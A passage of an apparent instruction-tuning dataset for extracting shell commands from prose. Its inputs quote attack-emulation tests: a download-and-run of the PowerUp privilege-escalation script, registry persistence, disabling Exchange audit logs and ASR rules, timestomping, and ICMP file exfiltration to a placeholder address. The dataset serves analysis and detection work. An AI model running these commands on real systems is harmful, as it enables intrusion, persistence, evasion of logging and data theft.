[\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This procedure copies a DLL to the Public folder and configures the AppCertDlls registry key with the command: Copy-Item \"#{dll_path}\" C:\\Users\\Public\\AtomicTest.dll -Force\nreg add \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\" /v \"AtomicTest\" /t REG_EXPAND_SZ /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nif(#{reboot}){Restart-Computer} \n. Successful execution will be verified by the creation of 'AtomicTest.txt' upon reboot.",
    "output": "{\"command_list\": [\"Copy-Item \\\"#{dll_path}\\\" C:\\\\Users\\\\Public\\\\AtomicTest.dll -Force\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\AppCertDlls\\\" /v \\\"AtomicTest\\\" /t REG_EXPAND_SZ /d \\\"C:\\\\Users\\\\Public\\\\AtomicTest.dll\\\" /f\\nif(#{reboot}){Restart-Computer} \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test simulates the deletion of ASR rules deployed via GPO by manipulating the registry, using the following command:\n$registryPath = \"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Windows Defender Exploit Guard\\\\ASR\\\\Rules\"\n\nif (-not (Test-Path $registryPath)) {\n    New-Item -Path $registryPath -Force\n    Write-Host \"Registry key created: $registryPath\"\n}\n\n$newValueName = \"36190899-1602-49e8-8b27-eb1d0a1ce869\"\n$newValueData = \"1\"\nNew-ItemProperty -Path $registryPath -Name $newValueName -PropertyType String -Value $newValueData -Force\nWrite-Host \"Registry value created: $newValueName with data $newValueData\"\n\nRemove-ItemProperty -Path $registryPath -Name $newValueName\nWrite-Host \"Registry value deleted: $newValueName\"",
    "output": "{\"command_list\": [\"$registryPath = \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Windows Defender Exploit Guard\\\\ASR\\\\Rules\\\"\\n\\nif (-not (Test-Path $registryPath)) {\\n    New-Item -Path $registryPath -Force\\n    Write-Host \\\"Registry key created: $registryPath\\\"\\n}\\n\\n$newValueName = \\\"36190899-1602-49e8-8b27-eb1d0a1ce869\\\"\\n$newValueData = \\\"1\\\"\\nNew-ItemProperty -Path $registryPath -Name $newValueName -PropertyType String -Value $newValueData -Force\\nWrite-Host \\\"Registry value created: $newValueName with data $newValueData\\\"\\n\\nRemove-ItemProperty -Path $registryPath -Name $newValueName\\nWrite-Host \\\"Registry value deleted: $newValueName\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute a renamed executable as a screensaver, first copy the file with this command: copy #{exe_to_launch} not_an_scr.scr, then load it via rundll32.exe desk.cpl,InstallScreenSaver not_an_scr.scr",
    "output": "{\"command_list\": [\"copy #{exe_to_launch} not_an_scr.scr\\nrundll32.exe desk.cpl,InstallScreenSaver not_an_scr.scr\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Admin audit logs can be disabled in Exchange PowerShell by executing this command sequence: $secure_pwd = \"#{password}\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nSet-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $False\n",
    "output": "{\"command_list\": [\"$secure_pwd = \\\"#{password}\\\" | ConvertTo-SecureString -AsPlainText -Force\\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $secure_pwd\\nConnect-ExchangeOnline -Credential $creds\\nSet-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $False\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can alter a file's access timestamp with the command: touch -a -t 197001010000.00 #{target_filename}\n",
    "output": "{\"command_list\": [\"touch -a -t 197001010000.00 #{target_filename}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To modify the default value of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell from 'explorer.exe' to 'C:\\Windows\\explorer.exe' while preserving boot functionality, use the following command:\n$oldvalue = $(Get-ItemPropertyValue -Path  \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell\");\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell-backup\" -Value \"$oldvalue\";\n$newvalue = $oldvalue + \", #{payload}\";\nSet-ItemProperty -Path  \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell\" -Value \"$newvalue\"",
    "output": "{\"command_list\": [\"$oldvalue = $(Get-ItemPropertyValue -Path  \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name \\\"Shell\\\");\\nSet-ItemProperty -Path \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name \\\"Shell-backup\\\" -Value \\\"$oldvalue\\\";\\n$newvalue = $oldvalue + \\\", #{payload}\\\";\\nSet-ItemProperty -Path  \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name \\\"Shell\\\" -Value \\\"$newvalue\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The file exfiltration process involves sending data through ICMP packets, achieved with this command: $ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send(\"#{ip_address}\", 1500, $Data) }",
    "output": "{\"command_list\": [\"$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send(\\\"#{ip_address}\\\", 1500, $Data) }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 